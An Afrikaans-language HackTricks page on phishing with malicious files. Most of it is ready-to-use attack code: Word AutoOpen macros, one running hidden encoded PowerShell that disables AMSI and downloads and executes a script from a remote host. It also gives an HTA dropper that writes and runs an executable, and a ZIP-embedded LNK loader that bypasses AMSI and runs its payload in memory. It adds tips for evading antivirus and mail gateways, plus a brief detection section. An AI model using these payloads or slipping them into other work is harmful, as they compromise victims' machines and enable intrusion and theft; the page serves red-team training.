Phishing Lêers & Dokumente
Reading time: 8 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Office Dokumente
Microsoft Word voer lêerdata-validasie uit voordat 'n lêer oopgemaak word. Datavalidasie word uitgevoer in die vorm van datastruktuur-identifikasie, teen die OfficeOpenXML-standaard. As enige fout voorkom tydens die datastruktuur-identifikasie, sal die lêer wat ontleed word nie oopgemaak word nie.
Dikwels gebruik Word-lêers wat macros bevat die .docm
-uitbreiding. Dit is egter moontlik om die lêer te hernoem deur die lêeruitbreiding te verander en steeds hul vermoë om macros uit te voer te behou.
Byvoorbeeld, 'n RTF-lêer ondersteun nie macros nie, per ontwerp, maar 'n DOCM-lêer wat na RTF hernoem is, sal deur Microsoft Word hanteer word en in staat wees om macros uit te voer.
Dieselfde interne strukture en meganismes geld vir alle sagteware van die Microsoft Office Suite (Excel, PowerPoint ens.).
Jy kan die volgende kommando gebruik om te kontroleer watter uitbreidings deur sommige Office-programme uitgevoer gaan word:
assoc | findstr /i "word excel powerp"
DOCX-lêers wat na ’n afgeleë sjabloon verwys (File –Options –Add-ins –Manage: Templates –Go) wat macros bevat, kan ook macros “execute”.
Eksterne prentlading
Gaan na: Insert --> Quick Parts --> Field
Categories: Links and References, Filed names: includePicture, and Filename or URL: http://
Macros Backdoor
Dit is moontlik om macros te gebruik om arbitrêre kode vanaf die dokument uit te voer.
Autoload funksies
Hoe meer algemeen dit is, hoe groter die kans dat die AV dit sal opspoor.
- AutoOpen()
- Document_Open()
Macros Kode Voorbeelde
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
End Sub
Sub AutoOpen()
Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "calc"
End Sub
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
Manually remove metadata
Gaan na File > Info > Inspect Document > Inspect Document, wat die Document Inspector oopmaak. Klik Inspect en dan Remove All langs Document Properties and Personal Information.
Doc Extension
Wanneer jy klaar is, kies die Save as type-afrolmenu, verander die formaat van .docx
na Word 97-2003 .doc
.
Doen dit omdat jy nie macro's in .docx
kan stoor nie en daar 'n stigma is rondom die macro-aktiwiteite .docm
uitbreiding (bv. die duimnael-ikoon het 'n groot !
en sommige web/e-pos-gateways blokkeer dit heeltemal). Daarom is hierdie erfenis .doc
uitbreiding die beste kompromie.
Kwaadaardige Macro Generators
HTA Files
'n HTA is 'n Windows-program wat HTML en skriptaal tale kombineer (soos VBScript en JScript). Dit genereer die gebruikerskoppelvlak en word uitgevoer as 'n "fully trusted" toepassing, sonder die beperkings van 'n blaaier se sekuriteitsmodel.
'n HTA word uitgevoer met mshta.exe
, wat gewoonlik geïnstalleer is saam met Internet Explorer, wat mshta
afhanklik van IE maak. As dit dus verwyder is, sal HTA's nie uitgevoer kan word nie.
<--! Basic HTA Execution -->
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h2>Hello World</h2>
<p>This is an HTA...</p>
</body>
<script language="VBScript">
Function Pwn()
Set shell = CreateObject("wscript.Shell")
shell.run "calc"
End Function
Pwn
</script>
</html>
<--! Cobal Strike generated HTA without shellcode -->
<script language="VBScript">
Function var_func()
var_shellcode = "<shellcode>"
Dim var_obj
Set var_obj = CreateObject("Scripting.FileSystemObject")
Dim var_stream
Dim var_tempdir
Dim var_tempexe
Dim var_basedir
Set var_tempdir = var_obj.GetSpecialFolder(2)
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
var_obj.CreateFolder(var_basedir)
var_tempexe = var_basedir & "\" & "evil.exe"
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
For i = 1 to Len(var_shellcode) Step 2
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
Next
var_stream.Close
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run var_tempexe, 0, true
var_obj.DeleteFile(var_tempexe)
var_obj.DeleteFolder(var_basedir)
End Function
var_func
self.close
</script>
Dwing NTLM-outentisering
Daar is verskeie maniere om NTLM-outentisering "op afstand" af te dwing, byvoorbeeld, jy kan onsigbare beelde in e-posse of HTML voeg wat die gebruiker sal toegang hê (selfs HTTP MitM?). Of stuur die slagoffer die adres van lêers wat sal trigger 'n outentisering net vir die opening van die gids.
Kyk na hierdie idees en meer op die volgende bladsye:
Force NTLM Privileged Authentication
NTLM Relay
Moet nie vergeet dat jy nie net die hash of die outentisering kan steel nie, maar ook NTLM relay attacks kan uitvoer:
LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Baie effektiewe veldtogte lewer 'n ZIP wat twee legitieme lokaas-dokumente (PDF/DOCX) en 'n kwaadwillige .lnk bevat. Die truuk is dat die werklike PowerShell loader binne die ZIP se ruwe bytes ná 'n unieke merker gestoor is, en die .lnk dit uitkerf en heeltemal in geheue uitvoer.
Tipiese vloei geïmplementeer deur die .lnk PowerShell one-liner:
- Vind die oorspronklike ZIP in algemene paaie: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, en die ouer van die huidige working directory.
- Lees die ZIP-bytes en vind 'n hardcoded merker (bv. xFIQCV). Alles na die merker is die ingeslote PowerShell payload.
- Kopieer die ZIP na %ProgramData%, pak dit daar uit, en maak die lokaas .docx oop om legitiem te lyk.
- Om AMSI vir die huidige proses te omseil: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
- Deobfuskeer die volgende fase (bv. verwyder alle # karakters) en voer dit in geheue uit.
Voorbeeld PowerShell-skelet om die ingeslote fase uit te kerf en uit te voer:
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code
Aantekeninge
- Aflewering misbruik dikwels betroubare PaaS-subdomeine (bv. *.herokuapp.com) en kan payloads beperk (bedien goedaardige ZIPs op grond van IP/UA).
- Die volgende fase dekripteer dikwels base64/XOR-shellcode en voer dit uit via Reflection.Emit + VirtualAlloc om skyfartefakte te minimaliseer.
Persistensie in dieselfde ketting
- COM TypeLib hijacking of the Microsoft Web Browser control sodat IE/Explorer of enige app wat dit inkorporeer die payload outomaties herbegin. Sien besonderhede en kant-en-klare opdragte hier:
Opsporing/IOCs
- ZIP-lêers wat die ASCII merkerstring (bv. xFIQCV) bevat wat aan die argiefdata aangeheg is.
- .lnk wat ouer- en gebruikersgidse deurgaan om die ZIP te vind en 'n lokdokument oopmaak.
- AMSI-manipulasie via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Langlopende sake-threads wat eindig met skakels aangebied onder betroubare PaaS-domeine.
Windows-lêers om NTLM-hashes te steel
Kyk na die bladsy oor plekke om NTLM creds te steel:
Verwysings
- Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies
- Hijack the TypeLib – New COM persistence technique (CICADA8)
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.